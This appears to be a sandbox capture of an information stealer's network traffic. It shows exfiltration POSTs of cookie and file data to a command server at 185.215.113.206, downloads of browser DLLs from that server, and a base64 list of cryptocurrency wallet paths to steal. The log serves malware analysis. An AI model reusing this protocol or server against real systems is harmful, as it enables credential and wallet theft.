Nov 5, 2024 20:52:43.945013046 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 61 61 61 30 Data Ascii: ------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="token"68aaa040a348c0a02a95cfab65f768ace1e01b6532547a7060256fae49df72e945bb6ae8------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 5, 2024 20:52:45.352909088 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:52:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 5, 2024 20:52:45.803131104 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIJDAAAAAAKECBFBAE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 61 61 61 30 34 30 61 33 34 38 63 30 61 30 32 61 39 35 63 66 61 62 36 35 66 37 36 38 61 63 65 31 65 30 31 62 36 35 33 32 35 34 37 61 37 30 36 30 32 35 36 66 61 65 34 39 64 66 37 32 65 39 34 35 62 62 36 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="token"68aaa040a348c0a02a95cfab65f768ace1e01b6532547a7060256fae49df72e945bb6ae8------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="file"------HIIIJDAAAAAAKECBFBAE--
Nov 5, 2024 20:52:46.569655895 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:52:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 5, 2024 20:52:48.558018923 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 5, 2024 20:52:48.834780931 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:52:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 5, 2024 20:52:48.834872007 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
Nov 5, 2024 20:52:48.834882975 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Nov 5, 2024 20:52:48.834937096 CET	1236	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$
Nov 5, 2024 20:52:48.834949017 CET	1236	IN	Data Raw: 89 45 d8 8d 45 dc 89 f9 31 d2 ff 75 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d Data Ascii: EE1uuSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)
Nov 5, 2024 20:52:48.834960938 CET	1236	IN	Data Raw: 8c 00 00 00 8b 55 ac 89 c8 31 db 39 ca 74 3c 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 0f b6 0c 07 30 4c 06 0c 0f b6 0c 07 30 8c 06 8c 00 00 00 0f b6 4c 07 01 30 4c 06 0d 0f b6 4c 07 01 30 8c 06 8d 00 00 00 83 c0 02 39 c2 75 d1 8b 4d f0 31 e9 e8 37 Data Ascii: U19t<f.0L0L0LL09uM17L^_[]USWVh1tlEGGHt1Uuut,tGHjSGW:G
Nov 5, 2024 20:52:48.834973097 CET	1236	IN	Data Raw: ff 8b 75 08 8a 04 0e 88 06 c6 04 0e 00 b8 02 00 00 00 66 0f 1f 44 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f b6 14 06 0f b6 f9 01 d7 0f b6 8c 05 f0 fe ff ff Data Ascii: ufDT>\>=t%>>f1hM1)^_[]USWV01Eh1E=s hk
Nov 5, 2024 20:52:48.834984064 CET	560	IN	Data Raw: 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 61 01 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 62 01 83 f9 02 75 2d 88 5d e8 89 45 ec eb 6e 85 d2 0f 84 7e 02 00 00 8b 75 10 0f b6 0e 83 fa 03 0f 85 81 02 00 Data Ascii: U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7}E0MQM2MEP]EU+UUU9)]}1EE
Nov 5, 2024 20:52:48.835213900 CET	1236	IN	Data Raw: e8 66 0f 70 d2 e8 66 0f 62 ca 66 0f 6e 54 07 04 66 0f 60 d3 66 0f 61 d3 66 0f eb cf 66 0f 72 f4 17 66 0f fe e5 f3 0f 5b e4 66 0f 70 ea f5 66 0f f4 d4 66 0f 70 e4 f5 66 0f f4 e5 66 0f 70 d2 e8 66 0f 70 e4 e8 66 0f 62 d4 66 0f eb d6 83 c6 10 66 0f Data Ascii: fpfbfnTf`faffrf[fpffpffpfpfbff!~sMEMEUxEUMfEMUTFtFMUEM)ffo 1ffo f
Nov 5, 2024 20:52:48.835225105 CET	1236	IN	Data Raw: 55 f0 0f b6 04 02 c1 e0 10 09 c8 8b 4d e8 8b 55 ec 01 d1 83 c1 04 0f b6 c9 8b 55 f0 0f b6 14 0a 00 d3 0f b6 f3 8b 7d f0 8a 34 37 8b 7d f0 88 34 0f 8b 4d f0 88 14 31 8b 75 d8 00 d6 0f b6 ce 8b 55 f0 0f b6 14 0a c1 e2 18 09 c2 33 55 e0 8b 4d c4 8b Data Ascii: UMUU}47}4M1uU3UMEM}}Eu;uUM}Et}EPEE},7,7E@2
Nov 5, 2024 20:52:51.463402033 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 5, 2024 20:52:51.740267038 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:52:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 5, 2024 20:52:52.296021938 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 5, 2024 20:52:52.573901892 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:52:52 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 5, 2024 20:52:53.387819052 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 5, 2024 20:52:53.664567947 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:52:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 5, 2024 20:52:54.918082952 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 5, 2024 20:52:55.210165977 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:52:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 5, 2024 20:52:55.549722910 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 5, 2024 20:52:55.827450037 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:52:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 5, 2024 20:52:56.739953041 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECFBKFHCAEHJJKEGDGH Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 5, 2024 20:52:57.517123938 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:52:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 5, 2024 20:52:57.575041056 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJKFBAAAFHJEBFIEGID Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 61 61 61 30 34 30 61 33 34 38 63 30 61 30 32 61 39 35 63 66 61 62 36 35 66 37 36 38 61 63 65 31 65 30 31 62 36 35 33 32 35 34 37 61 37 30 36 30 32 35 36 66 61 65 34 39 64 66 37 32 65 39 34 35 62 62 36 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 2d 2d 0d 0a Data Ascii: ------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="token"68aaa040a348c0a02a95cfab65f768ace1e01b6532547a7060256fae49df72e945bb6ae8------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="message"wallets------JJJKFBAAAFHJEBFIEGID--
Nov 5, 2024 20:52:57.854547024 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:52:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 5, 2024 20:52:57.857151985 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDBFBFHJDGCAKEGHJE Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 61 61 61 30 34 30 61 33 34 38 63 30 61 30 32 61 39 35 63 66 61 62 36 35 66 37 36 38 61 63 65 31 65 30 31 62 36 35 33 32 35 34 37 61 37 30 36 30 32 35 36 66 61 65 34 39 64 66 37 32 65 39 34 35 62 62 36 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 2d 2d 0d 0a Data Ascii: ------EGIDBFBFHJDGCAKEGHJEContent-Disposition: form-data; name="token"68aaa040a348c0a02a95cfab65f768ace1e01b6532547a7060256fae49df72e945bb6ae8------EGIDBFBFHJDGCAKEGHJEContent-Disposition: form-data; 